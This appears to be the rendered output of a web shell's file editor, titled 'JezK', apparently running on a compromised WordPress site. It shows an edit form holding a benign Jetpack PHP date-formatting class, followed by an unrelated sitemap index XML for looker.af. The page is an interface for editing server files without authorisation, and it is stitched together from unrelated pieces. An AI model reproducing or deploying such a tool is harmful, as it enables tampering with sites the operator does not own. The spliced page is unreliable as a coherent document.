
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class.json-api-date.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * WPCOM_JSON_API_Date class.
 *
 * @package automattic/jetpack
 */
/**
 * Base class for WPCOM_JSON_API_Date.
 */
class WPCOM_JSON_API_Date {
	/**
	 * Returns ISO 8601 formatted datetime: 2011-12-08T01:15:36-08:00
	 *
	 * @param string $date_gmt GMT datetime string.
	 * @param string $date Optional.  Used to calculate the offset from GMT.
	 *
	 * @return string
	 */
	public static function format_date( $date_gmt, $date = null ) {
		$offset        = null;
		$timestamp_gmt = strtotime( &quot;$date_gmt+0000&quot; );

		if ( null === $date ) {
			$timestamp = $timestamp_gmt;
			$west      = 0;
			$minutes   = 0;
			$hours     = 0;
		} else {
			$date_time = date_create( &quot;$date+0000&quot; );
			if ( $date_time ) {
				$timestamp = date_format( $date_time, &#039;U&#039; );
			} else {
				$timestamp = 0;
			}

			// &quot;0000-00-00 00:00:00&quot; == -62169984000
			if ( -62169984000 === $timestamp_gmt ) {
				// WordPress sets post_date=now, post_date_gmt=&quot;0000-00-00 00:00:00&quot; for all drafts
				// WordPress sets post_modified=now, post_modified_gmt=&quot;0000-00-00 00:00:00&quot; for new drafts.

				// Try to guess the correct offset from the blog&#039;s options.
				$timezone_string = get_option( &#039;timezone_string&#039; );

				if ( $timezone_string &amp;&amp; $date_time ) {
					$timezone = timezone_open( $timezone_string );
					if ( $timezone ) {
						$offset = $timezone-&gt;getOffset( $date_time );
					}
				} else {
					$offset = 3600 * get_option( &#039;gmt_offset&#039; );
				}
			} else {
				$offset = $timestamp - $timestamp_gmt;
			}

			$west    = $offset &lt; 0;
			$offset  = abs( $offset );
			$hours   = (int) floor( $offset / 3600 );
			$offset -= $hours * 3600;
			$minutes = (int) floor( $offset / 60 );
		}

		return (string) gmdate( &#039;Y-m-d\\TH:i:s&#039;, $timestamp ) . sprintf( &#039;%s%02d:%02d&#039;, $west ? &#039;-&#039; : &#039;+&#039;, $hours, $minutes );
	}

	/**
	 * Returns ISO 8601 formatted duration interval: P0DT1H10M0S
	 *
	 * @param string $time Duration in minutes or hours.
	 *
	 * @return null|string
	 */
	public static function format_duration( $time ) {
		$timestamp = strtotime( $time, 0 );

		// Bail early if we don&#039;t recognize a date.
		if ( empty( $timestamp ) ) {
			return;
		}

		$days      = floor( $timestamp / 86400 );
		$timestamp = $timestamp % 86400;

		$hours     = floor( $timestamp / 3600 );
		$timestamp = $timestamp % 3600;

		$minutes   = floor( $timestamp / 60 );
		$timestamp = $timestamp % 60;

		return (string) sprintf(
			&#039;P%dDT%dH%dM%dS&#039;,
			$days,
			$hours,
			$minutes,
			$timestamp
		);
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
